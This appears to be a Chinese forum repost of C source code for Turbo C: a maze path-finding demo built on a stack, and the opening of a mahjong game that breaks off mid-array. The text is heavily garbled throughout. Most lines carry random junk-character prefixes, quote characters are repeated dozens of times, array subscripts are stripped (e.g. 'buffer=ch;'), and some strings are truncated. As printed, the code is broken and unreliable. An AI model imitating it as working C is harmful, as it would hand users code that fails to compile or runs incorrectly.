C语言技术文章

韩冰

<DIV  align=left>
! f0 N! ~# X, O( L. N, a& W< align=left>程序目的：
输入一个任意大小的迷宫，用栈求出一条走出迷宫的路径，并
显示在屏幕上。
程序实现：
可以实现载入迷宫和保存迷宫，附带文件中有4个测试迷宫路径的
文件test1~4.dd。请将这些文件拷贝到TC当前目录下，或者在载
9 a% z6 W* N, D9 T1 Q# [( F. |入时写明完全路径。由于屏幕大小的限制，当用户自己输入迷宫
时一定要注意：迷宫大小是有限制的，不小于4*3,不大于30*20。
  O  \- x. D' H  u: c' X1 C否则会出现错误信息。输入开始时全是墙，用上下左右键移动，
4 U' \$ i/ j) M/ R: U% W3 \0 U用Del键删除墙，形成通路，用Enter键添加墙。输入结束时可以
将迷宫保存下来，以dd为扩展名。输入完毕时用F9键来得到结果，
9 V1 s9 U9 ]  Y找到路径时，屏幕下方会出现Path found，否则出现Path not found。
5 z0 g4 V9 j2 Y  U+ H7 L+ K5 N程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。
: Q$ q+ Z* Q4 j3 ]$ W, h不可以在VC上编译。
下载DOS版和windows版的迷宫游戏全部代码
用户名：migong
# r9 |+ z! c/ w* b; ]# v% ?----------------------------------------------------------------------------------
/*
: H* I! p  v# y5 Y# mMazePath Demo BY Turbo C 2.0
# d1 b; o# l3 s+ X- n# l" nCopyright(c) RoverUnion. All right reserved.
1 T- T3 `/ c. ?% DFilename: Maze.c
) W( e3 |* V/ JAuthor Dongchengyu.
/ ^3 |$ z' m' F$ d0 N! K& \( W. eVer 1.10
*/
7 z2 K0 a  s3 `3 g; l#include &lt;stdio.h&gt;
! x2 O9 O3 g' a& c6 U$ I9 S#include &lt;stdlib.h&gt;
- d( z; w$ L2 c, |! j#include &lt;malloc.h&gt;
#include &lt;conio.h&gt;
& L0 {6 z+ u0 }( @4 m; H#include &lt;dos.h&gt;
5 L3 ]+ o$ B9 A- d#define OK 1
0 ?5 t- C$ x( N: n6 |#define ERROR 0
( W" ~( f+ @0 I1 ?#define TRUE 1
) p3 L5 h+ L  x+ H% ^. c#define FALSE 0
% S, [# Q- p  C. U3 D" P#define F9 0x43
#define Esc 0x1b
9 T. Y1 c; P: s/ m/ i8 v! Y#define Del 0x53
#define Home 0x47
#define End 0x4f
5 B- `. Q; d( O, k/ M#define Space 0x20
1 k  i$ y( l4 Z; M: s#define Up 0x48
4 r8 v4 V7 {( k7 C! e3 ^. ^0 Y# i' ?#define Down 0x50
( H2 {8 p1 w8 g2 Q#define Left 0x4b
#define Right 0x4d
0 o, n3 H$ B' u" A9 S#define Enter 0x0d
#define F2 0x3c
. y" _0 l. ]' j0 N$ @- B  K#define F3 0x3d
' f) @1 s, ~/ s) S4 ^- Z#define STACK_INIT_SIZE 200
#define STACKINCREMENT 10
3 S" q" y$ F! v$ h  k' P/ m& l5 Ktypedef int Boolean;
typedef int Status;
typedef struct {
int x;
int y;
} PosType;
typedef struct {
int ord;
PosType seat;
int di;
} SElemType;
typedef struct {
int td;
, m1 g0 ]1 b- G* K4 Uint foot;
int mark;
} MazeType;
4 `! g. r  X% G. _" h; o- xtypedef struct {
4 G+ Z( _3 V* W$ P8 zSElemType *base;
' a$ i. t& q# u3 v; i$ oSElemType *top;
int stacksize;
} Stack;
2 o7 O. m8 j: s+ E* ]% S8 oint Maze[20][30];
MazeType maze[20][30];
' d# o; e4 i6 L2 }) ZPosType StartPlace;
$ s3 R1 ]% G( |- h0 XPosType EndPlace;
int count;
int m,n;
9 O5 L& _7 M3 MBoolean b_start=FALSE,b_end=FALSE;
void CreatMaze(void);
8 F& R) h1 D8 u6 @: k$ K' Y) OStatus SaveMaze(char *filename);
Status LoadMaze(char *filename);
void Error(char *message);
Status InitStack(Stack *s);
Status DestroyStack(Stack *s);
Status ClearStack(Stack *s);
, k# u6 l' j9 i4 k  c$ o0 cBoolean StackEmpty(Stack *s);
, x$ P  N5 K0 N* @3 r: Lint StackLength(Stack *s);
Status Push(Stack *s,SElemType e);
SElemType Pop(Stack *s,SElemType e);
Status GetTop(Stack *s,SElemType *e);
Status StackTraverse(Stack *s,Status (* visit)(SElemType *se));
7 s; p4 J4 h- I" ^0 E0 CBoolean Pass(PosType curpos);
void MarkPrint(PosType seat);
void FootPrint(PosType curpos);
PosType NextPos(PosType seat,int di);
Status MazePath(PosType start,PosType end);
void CreatMaze(void)
! f, j' b3 S) R) V+ M- d/* Form the maze. */
4 x1 I3 P$ d# G7 G" x# e' O{
' l9 g+ f. _/ i+ m2 M) I1 G- ~void Error(char *message);
Status SaveMaze(char *filename);
Status LoadMaze(char *filename);
+ G" f; X% ^0 |2 L/ R5 W& _int i,j;
1 j. c4 ?/ D! v8 z9 yint x,y;
char c;
char savename[12],loadname[12];
Boolean flag=FALSE,load=FALSE;
clrscr();
0 m" O& ~; \/ c1 N( z% W" y  tprintf("Menu:\n\n");
printf("1.Load Mazefile*.dd)\n\n");
printf("2.Input Maze:\n\n");
* X+ o) A+ X/ S1 K: K/ tprintf("Input your choice: ");
do
) [1 Y4 L( }+ J7 b{
c=getch();
  }9 x* b0 b" ^' f3 Qswitch(c)
{
0 d. d( S2 B6 Zcase ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;
; x: F. u8 U/ A5 K. c  @: tcase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;
case Esc: sleep(1); exit(1);
default: break;
}
}
while(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;
- Y  S5 B0 s% @/ u  P8 oif(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')
+ _; Y7 [7 Q% X% W; W8 U# F& A{
8 `9 m( f; {/ E  q( Oprintf("\n\nLoadName: ");
2 p8 w9 o. h1 I( H8 Sscanf("%s",loadname);
& |: E0 o( V1 L' N+ Tif(LoadMaze(loadname))
{
sleep(1); load=TRUE;
}
# @" C2 O$ ^5 @  {; j3 v" C6 Q$ Helse { gotoxy(1,9); printf("Load fail! "); }
}
$ f" c: g% O3 [' `8 y' Jif(!load)
( I% T8 Y" q# s- w* T: {; E' |{
printf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");
printf("\nInput Length :\n");
scanf("%d",&amp;m);
0 a2 D6 A4 W/ Lprintf("\nInput Width :\n");
6 ]& @1 S5 L1 C% Kscanf("%d",&amp;n);
if(m&lt;4||n&lt;4) Error("Input");
if(m&gt;30||n&gt;20) Error("Maze too large");
1 }, |0 S, n3 r2 _3 {  a& \for(i=0;i&lt;30;i++)
9 |, W- d' r4 J5 h9 v$ g* Qfor(j=0;j&lt;20;j++)
( T6 Q# V! {% |4 @1 f7 Q+ K) Z/ oMaze[j]=2;
- X* A* P' ?2 aStartPlace.x=0;
5 ^" ^0 E) w; t* n$ v- r. G6 wStartPlace.y=0;
EndPlace.x=0;
EndPlace.y=0;
clrscr();
/ a$ e* ^2 r+ C" \( S; z% sprintf("\n");
8 ^9 S% [8 w+ I! f5 xfor(i=1;i&lt;=n;i++)
{
for(j=1;j&lt;=m;j++)
4 n3 Q9 Q) V1 ]( b5 k  Y. B8 l* V{
  ?7 q. ^( G" zprintf(" #");
' n% W6 B, a3 DMaze[i-1][j-1]=0;
# U4 _2 {7 D0 Z. r+ X' o0 ]9 z}
printf("\n");
" R4 S. g+ }5 y! l- w8 t}
}
gotoxy(65,5);
printf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");
gotoxy(65,7);
2 N( e* k0 A; P9 X- v+ U/ Rprintf("Start:Home");
, ?. H$ g/ s$ x; \gotoxy(65,9);
3 m. }5 b) {' Y" gprintf("End:End");
gotoxy(65,11);
+ m/ I2 [/ U/ B  r* G) f- N' tprintf("Delete Wallel");
! Y% p! @, Y$ |- c. wgotoxy(65,13);
printf("Enter Wall:Enter");
gotoxy(65,15);
printf("Save Maze:F2");
: w' M4 K. |- J% \$ Q. g. Agotoxy(65,17);
9 g( H+ r1 u  D4 f- n; s. F) \printf("Complete:F9");
! y- @9 ]- C' F3 Y* lgotoxy(65,19);
printf("Exit:Esc");
( m4 l; X2 c* Mgotoxy(4,3);
x=4;y=3;
do
5 Q- O! r! F$ W% @/ T% ]* |{
: s* @" F. }/ s9 f) vc=getch();
' ^" R9 G/ v. V& _! Dswitch(c)
{
7 Y0 v! K; M9 _0 N0 mcase Up: if(y&gt;3) { y--; gotoxy(x,y); }
break;
1 {. j0 c# [% Q; \; K, y$ ^1 Icase Down: if(y&lt;n) { y++; gotoxy(x,y); }
break;
case Left: if(x&gt;4) { x-=2; gotoxy(x,y); }
break;
case Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }
; N5 u. h; X2 [8 j  D1 Wbreak;
: S9 u( U" Q- g" Gcase Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;
putch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);
2 t9 x& N- o# h( F( kbreak;
  @  N+ F; o4 ~case Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;
5 P% I8 _7 u# `* G5 |putch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);
- ?( C4 _# G% wbreak;
0 P: A( q0 H' n( k  hcase Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)
{
' r# b0 K4 K: W4 lStartPlace.x=x/2-1;
StartPlace.y=y-2;
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
( |$ I4 m8 s# F# f* Vgotoxy(x,y);
% Y8 Q9 p9 q8 e' M6 yb_start=TRUE;
; j7 r3 v; r% s7 T' z  S: e( U}
2 a0 r: T2 Z1 F9 e$ m. R* Sbreak;
) o* w# x- v' @1 V0 W2 |+ v* j3 xcase End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)
- ~$ v. G3 U6 Z4 M9 O% ^{
EndPlace.x=x/2-1;
EndPlace.y=y-2;
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
8 X9 H' j+ t1 V* Ygotoxy(x,y);
; M+ P2 t6 s+ pb_end=TRUE;
}
" W4 G, }6 ]+ s+ O% n! lbreak;
0 p; q) j1 O# Ucase Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);
' M# T6 x; `6 C4 P2 `0 acase F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;
case F2: gotoxy(2,22);
4 j* u+ o, F  B4 g" {- jprintf("Savename:");
scanf("%s",savename);
gotoxy(2,22);
2 c3 E8 e: b4 c) s# Pif(SaveMaze(savename)) printf("Save OK! ");
else printf("Save fail! ");
  Z9 |- ^+ X! p9 G7 {" i; Ssleep(1);
gotoxy(2,22);
printf(" ");
gotoxy(x,y);
& q5 G% i+ e- `0 d/ Pbreak;
default: break;
, _6 l1 m1 X' w% T}
}
while(!flag);
9 \$ @4 O2 u/ sfor(i=0;i&lt;30;i++)
for(j=0;j&lt;20;j++)
4 F% Z) h* F1 O- ?8 ]! Q2 }9 e1 S{
) c0 n4 a1 J% r+ \& _6 N$ g5 E1 S4 Bmaze[j].td=Maze[j];
maze[j].mark=0;
maze[j].foot=0;
}
  [- D  {: D5 w' `" O}
; j6 Y( @+ g/ A1 `: fStatus LoadMaze(char *file)
" O  S! g& _! v' ^3 B0 o/* The maze has been loaded. */
{
FILE *fp;
char *buffer;
char ch;
int i=0,j,k;
Boolean len=FALSE,wid=FALSE;
if((fp=fopen(file,"r"))==NULL)
return ERROR;
, E7 E0 w7 s5 ~: p# d! ~buffer=(char *)malloc(600*sizeof(char));
ch=fgetc(fp);
8 |# x' r0 P6 cwhile(ch!=EOF)
0 @# i5 a9 W" H; G% F. ?5 o{
buffer=ch;
i++;
4 i# S) d( [; `7 V4 F5 [  x3 gch=fgetc(fp);
, A: ]0 R7 M( p# q" k: t}
" H1 m. b/ d6 K" a( q. R7 ?m=30;n=20;
& R" c4 `3 @) ]6 x8 ffor(i=0;i&lt;600;i++)
{
j=i/30; k=i%30;
if(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }
if(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }
; G8 t2 C* s; N- T5 w* wswitch(buffer)
{
case ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;
) |  G1 f( Q4 s4 _# ecase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;
- U; K. t9 c3 U$ j" K* }case ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;
3 c: }7 y6 S# u1 c' f1 `+ oStartPlace.x=k;
) d/ u! Q2 }! fStartPlace.y=j;
b_start=TRUE;
break;
case ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;
4 T& `% s8 a/ M. t* m; Z  YEndPlace.x=k;
EndPlace.y=j;
4 z! `9 w! s6 b6 T. w% ?# d$ T/ Bb_end=TRUE;
break;
- V! s% G; x- T! N/ k4 [. P3 b# tdefault : break;
}
}
/ A) p- N3 D6 H' _fclose(fp);
. j) F1 S/ d- H1 wclrscr();
, `3 V" x# Z/ Z) W$ u# L5 }2 wfor(i=0;i&lt;30;i++)
0 ~* y) V" ^8 S2 \& qfor(j=0;j&lt;20;j++)
{
maze[j].td=Maze[j];
7 z9 `3 F8 C4 W7 Bmaze[j].foot=0;
maze[j].mark=0;
  M; \6 j! k, _9 Tif(Maze[j]==0)
8 h/ G5 F. G" s; ?* z- Y# |9 t4 K{
2 d9 h! L" i% G+ m7 f6 G( Ugotoxy(2*i+2,j+2);
putch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');
}
+ q% P5 a2 G& U}
gotoxy(2*StartPlace.x+2,StartPlace.y+2);
- |7 ]3 ?5 @: Dputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
) R5 f& M  Y2 e9 y+ Y0 e& T( d3 Ygotoxy(2*EndPlace.x+2,EndPlace.y+2);
4 Q/ u: M, @8 m2 v, ^  v8 ^5 Iputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
return OK;
}
Status SaveMaze(char *filename)
/* The maze has been saved. */
{
  @2 r$ X3 j$ H7 N/ j0 M& UFILE *fp;
char *buffer;
# m% S  C" C+ e" q1 v7 }' c4 Y( oint i,j,k;
' X! c; G$ b- m) l9 pfp=fopen(filename,"wb");
buffer=(char *)malloc(600*sizeof(char));
% R3 ^4 p" c2 X4 g' L4 Tfor(i=0;i&lt;600;i++)
{
j=i/30; k=i%30;
switch(Maze[j][k])
{
case 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;
* Y( E7 K5 }% |! d1 `4 Scase 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;
case 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;
default : Error("Write"); break;
}
if(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';
  ]" |  \" }1 F& {+ v' A/ Cif(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';
}
& |; u! `- H% _& {fwrite(buffer,600,1,fp);
" Y& }. x* J) ^4 ~. y/ g9 T0 R- dfree(buffer);
; w1 X8 i3 o' U6 s  ~fclose(fp);
return OK;
}
4 K8 y# c" S2 l- m2 N5 G& k+ ^void Error(char *message)
' ]$ B% d6 C# W+ h- B{
clrscr();
fprintf(stderr,"Error:%s\n",message);
exit(1);
} /* Error */
. C2 R& Z/ `0 o* u
Status InitStack(Stack *s)
/* The stack s has been created and is initialized to be empty. */
{
' Q+ v4 A4 }. g" M8 Ns-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
$ D7 o9 b; S. u0 N. [) b4 aif(!s-&gt;base) Error("Overflow");
/ {; H# J; a3 R* |' c4 O$ ?s-&gt;top=s-&gt;base;
s-&gt;stacksize=STACK_INIT_SIZE;
5 e  @% h# p+ h$ x+ kreturn OK;
} /* InitStack */
/ Z$ ]& [" p! E: x; sStatus DestroyStack(Stack *s)
/* The stack s has been destroyed. */
' r% X& v3 U$ b% ]+ f- u! a, F{
s-&gt;top=NULL;
; J, c) |" }0 ?- ^) L9 f' [- Qs-&gt;stacksize=0;
free(s-&gt;base);
s-&gt;base=NULL;
! t2 S. x; e# C. F% s6 G/ B. ereturn OK;
} /* DestroyStack */
Status ClearStack(Stack *s)
6 k/ e( P2 `0 a: @# Y/* The stack has been clear to be maximum. */
0 f( a- d2 t" A, w# n{
s-&gt;top=s-&gt;base;
s-&gt;stacksize=STACK_INIT_SIZE;
1 j# c6 v" h) x' K7 p7 F( [return OK;
9 `* t9 ^2 V6 H0 Z7 U' k% R6 X} /* ClearStack */
/ U) O8 l( C5 \5 o, DBoolean StackEmpty(Stack *s)
/* Check if the stack s is empty. */
6 W9 u8 ~- o# x{
! g0 q1 Y" _$ e; Mif(s-&gt;top==s-&gt;base) return TRUE;
else return FALSE;
0 ?7 c9 C( h6 r} /* StackEmpty */
9 Y: P& c$ e6 `3 G, Vint StackLength(Stack *s)
' l% i: X4 [( V8 a! S/* Gain the length of the stack s. */
8 M8 K( K7 e* k' ]{
if(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);
! I+ g$ O% }( J! Q& y: ?2 }else return 0;
+ d* t9 U3 e! V* p- z} /* StackLength */
9 p2 E0 G% r" W, C; W5 z3 l9 jStatus Push(Stack *s,SElemType e)
/* The element e has been pushed into the stack s. */
{
if(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize)
{
s-&gt;base=(SElemType *)realloc(s-&gt;base,
(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));
; d0 _) V" ^7 b5 k6 y. Qif(!s-&gt;base) Error("Overflow");
6 o9 I2 X- a' Ss-&gt;top=s-&gt;base+s-&gt;stacksize;
$ w5 k7 s) B+ ?% R; |2 J. i$ Y0 is-&gt;stacksize+=STACKINCREMENT;
- D; n1 e7 {2 M, J}
*s-&gt;top++=e;
5 W) i3 Y1 A; i8 Y, q$ lreturn OK;
) Y* F, f+ _) p/ a5 ]' t3 T} /* Push */
0 w+ X0 e+ |! M! i4 A- O/ tSElemType Pop(Stack *s,SElemType e)
/* The element e has been removed from the stack s. */
{
1 O2 T& B% u- `  I. r4 yif(s-&gt;top==s-&gt;base) Error("op");
e=*--s-&gt;top;
/ H4 R6 v8 t! z- k4 q. }+ ereturn e;
} /* Pop */
Status GetTop(Stack *s,SElemType *e)
, Z$ X$ o0 A& A& Q: U" w, F/* The element e has got to the top of the stack s.*/
{
. Y+ f0 c# t0 {: t" Zif(s-&gt;top==s-&gt;base) Error("GetTop");
! B; N2 T8 F0 m; D*e=*(s-&gt;top-1);
7 q/ Q1 C4 R. v) s1 B& [return OK;
/ U+ I+ O: O. B/ _5 f' |  }} /* GetTop */
  w/ w) s5 u0 G8 x9 O/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */
3 s! Y& @: r" U( v, m& e0 M, h3 m/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))
{
SElemType p;
; u% f* I3 f: ]& c4 Jint result;
) I  k5 b! e' C0 jif(s-&gt;top==s-&gt;base) return ERROR;
p=s-&gt;base;
. b5 c/ b/ C, |while(!(p==s-&gt;top))
2 M& v- V4 ?9 [. l. j0 a! i{
" q( o2 d$ O6 X8 ?$ s3 Lresult=(*visit)(p);
p++;
4 l" e; ?% T* c, J( a1 Q' ?}
0 K  g+ t9 c% K. x$ Q4 }8 u" Mreturn OK;
- `0 P  g$ h# r7 V4 u} */
Boolean Pass(PosType curpos)
/* Check if the current position can be passed. */
{
/ \, ]# K3 `5 P! ~+ wif(maze[curpos.x][curpos.y].td==1&amp;&amp;
! y3 ?. ?" G9 V4 H1 `1 Z6 @  ]maze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)
return TRUE;
- W# K, \: v  I/ b# \. delse return FALSE;
9 r5 W0 ~+ @" q1 k- h8 r2 S9 g} /* Pass */
! F# s5 s7 i2 m( H2 m5 [void MarkPrint(PosType seat)
/* Mark the position seat. */
{
maze[seat.x][seat.y].mark=-1;
/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */
} /* MarkPrint */
/ u+ y9 w  K, A0 wvoid FootPrint(PosType curpos)
/ b5 A) a' @/ B# ?/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */
{
maze[curpos.x][curpos.y].foot=1;
} /* FootPrint */
1 w* Q. t0 s$ p3 q3 m. x: N  x/ GPosType NextPos(PosType seat,int di)
{
9 y* t' V" y1 s: Kswitch(di)
7 |' q1 h* P1 o1 z2 u{
% a, d  \" f4 R6 Lcase 1: seat.y++; return seat; /* Eastward */
+ _* {; e- a. q$ G- N; p+ vcase 2: seat.x++; return seat; /* Southward */
) ]# D, y; X1 h2 s2 Y  J" F" ]+ ccase 3: seat.y--; return seat; /* Westward */
( H3 P$ J9 ~  }. \, z  rcase 4: seat.x--; return seat; /* Northward */
. W8 f# [: n* h* sdefault: seat.x=0; seat.y=0; return seat;
}
} /* NextPos */

/* The key to the program. */
/* Pre: The maze array &amp; the startplace &amp; the endplace.
( u% W/ A3 f! k! R4 @. HPost: Find the one traverse of the maze and perform the mazepath.
Uses: The ADT stack class.
$ u; A& ~- h2 ?4 J# n* I" g& h*/
Status MazePath(PosType start,PosType end)
: V3 @2 X% \/ i9 k+ _6 E{
PosType curpos;
int curstep;
! q( j* k( }! NSElemType e;
, p% n1 Z6 ?: ?. T: V8 jStack *s,stack;
) O: D9 T2 }" U4 tstack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
# a- X% @1 n4 M& g0 S, J/ O+ w8 Kif(!stack.base) Error("Overflow");
stack.top=stack.base;
stack.stacksize=STACK_INIT_SIZE;
s=&amp;stack;
) J& l7 O, @0 y: Fcurpos=start;
# q+ c5 I- ?; }6 G) q0 D* I8 Z! Wcurstep=1;
do
{
- E+ _. E  ]" h$ ]- ]* E+ }if(Pass(curpos))
1 C% ^6 P% Q! E5 {# x9 i{
FootPrint(curpos);
+ ]7 u0 o$ }) [1 \& me.ord=curstep; e.seat=curpos; e.di=1;
gotoxy((curpos.y+1)*2,curpos.x+2);
7 s3 R0 a7 u' \$ jputch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
2 S! J" J% i6 u3 zdelay(8000); /* pospone time. */
% h4 H: b5 @  l' S2 D) }Push(s,e);
5 H, V5 s0 P1 x8 }3 k( {2 ]if(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */
{
DestroyStack(s);
return TRUE;
}
" h3 m4 H0 n- J9 Y' u9 q1 Qcurpos=NextPos(curpos,1); /* Try next position. */
" F! `) A4 o( E. Pcurstep++;
}
else
{
8 e4 T4 K% ]# v2 T* j6 D; _) N+ i; Qif(!StackEmpty(s))
{
1 W& P+ T* y/ e) D+ E+ t4 C/ ]e=Pop(s,e); /* Removed e from s. */
7 M2 f6 Z: w  Rwhile(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked
and s is not empty. */
{
MarkPrint(e.seat);
9 m8 a0 Z- V1 @0 X) `9 r# qgotoxy((e.seat.y+1)*2,e.seat.x+2);
7 _0 Q; W5 ?1 f- W4 m5 r  W( f8 Fputch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
" P8 M: `0 ^6 C7 k2 B# S5 |% Q- Odelay(8000); /* Pospone time. */
gotoxy((e.seat.y+1)*2,e.seat.x+2);
8 R" i; N% a& o8 S+ ^! {2 ~putch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');
e=Pop(s,e); /* Remove e from s. */
curstep--;
}
if(e.di&lt;4) /* The current position hasnot been checked. */
( @. S1 i+ J; e% M5 Q0 ~3 \! I5 q2 b  U, ~{
# s& [: @: f2 q* Ae.di++;
+ e9 ]1 v! A1 ~5 rPush(s,e); /* Insert e into s. */
) @. s. M4 B9 h5 n' O- `9 k& @% E( lcurpos=NextPos(e.seat,e.di); /* Try next position. */
}
- Q6 C& i8 Y; g9 M- t}
- c6 T. _& f0 R% k& p9 N4 a}
}
while(!StackEmpty(s));
3 @. b. q' q  M  O/ w7 uDestroyStack(s);
return FALSE;
} /* MazePath */
  j+ Z; b  }: L3 Pvoid main()
{
PosType start,end;
CreatMaze();
start.x=StartPlace.y;
start.y=StartPlace.x;
end.x=EndPlace.y;
end.y=EndPlace.x;
if(MazePath(start,end))
{
gotoxy(2,22);
2 K+ g6 v( A! x8 Y% M) sprintf("ath found\n");
}
else
$ h/ R: `5 Z2 w& n  s# q{
gotoxy(2,22);
0 j$ @6 C/ m  \- R  C8 J1 @$ Gprintf("ath not found\n");
( f& ]% B! @" ]$ r, z' `9 ^# }, q: R}
4 U+ O) b4 T" V( h2 O- v" _) s0 bgetch();
clrscr();
4 J* [  H3 `6 I+ i. @0 h9 D} </P></DIV>

韩冰

<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传
/*天宇软件
7 q$ }! ^7 @1 j  g作者：上海黑暗之龙
* a0 {6 v  _( ]+ D/ _6 y2002/10/30
麻将原代码*/
#include "dos.h"
5 s! o  Q+ ?9 t  u# ^3 F#include "stdio.h"
#include "graphics.h"
) o9 b! o, c8 B! |) ], C' x8 r* A2 ]$ `3 R#include "bios.h"
#include "conio.h"
+ M% f! q+ c) ]% W9 u$ z4 T3 P#include "stdlib.h"
unsigned char far *video_buffer=(char far *)0xA0000000L;
/ K. G- y* X2 @- a#define VGA256 0x13 /*图形模式13h*/
) k: L% X' m/ m' I  {6 R* S#define TEXT_MODE 0x03 /*普通文本模式*/
$ G9 d/ ^3 N1 S2 f4 L#define SETVGA Set_Video_Mode(VGA256)
; T, m! T: ]; w) D: M0 ^/ ?$ s#define OUTVGA Set_Video_Mode(TEXT_MODE)
$ d# F0 e: T/ [' i#define BYTE unsigned char
#define WORD unsigned int
( G7 ^- y( ^  l7 \#define DWORD unsigned int
#define ESC 283
#define LEFT 19200
$ l. l& r. Q$ `6 a#define RIGHT 19712
#define H 9064
3 X2 S& {3 C- c7 i* ^! J" E$ L#define ENTER 7181
unsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;
int key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;
struct chi
{
int lg;
int lgg;
, y( F: V  Y8 w}ch[13];
- i* Q! e1 P& G' M7 n3 D5 \struct mj
4 w/ n' R) V& r. i* h3 w* B8 I# u+ I{ char *name; /*名字*/
int data1; /*是否已出，无用了*/
int data2; /*是否在手中，1为自己，2为对方*/
/ d: C) f  y7 e! ~4 X1 Bint number; /*同一个花色的第几张，共4张*/
9 a' E8 S8 j6 ^! O# J- `% J& ~}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,
"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,
"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,
"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,
"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,
% w, B3 y$ G; C/ X$ Q, E8 x, G"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,
"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,
"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,
1 Y7 v" [2 _* S3 E, Y: G6 U! Y"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,
2 F+ p! S6 z. R"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,
8 g6 R% X, g2 y0 I' q"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,
"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,
"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,
